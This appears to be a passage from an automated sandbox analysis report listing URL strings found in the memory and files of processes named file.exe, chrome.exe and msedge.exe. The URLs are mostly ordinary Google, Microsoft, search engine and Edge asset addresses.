Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp, chromecache_448.5.dr, chromecache_452.5.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000007.00000002.2459466979.000002DCA6577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2467961538.00006C980237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000003.2265500584.0000460400498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272662156.0000460400EB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269613680.0000460400EB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2278967059.0000460400CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272108899.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2257220788.0000184C0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2257014461.0000184C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000007.00000002.2467961538.00006C980237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 00000007.00000002.2467961538.00006C980237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/https://chrome.google.com/webstorel
Source: chrome.exe, 00000003.00000003.2253573692.00005FC8002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2253550372.00005FC8002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2466519525.00006C9802240000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: file.exe, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
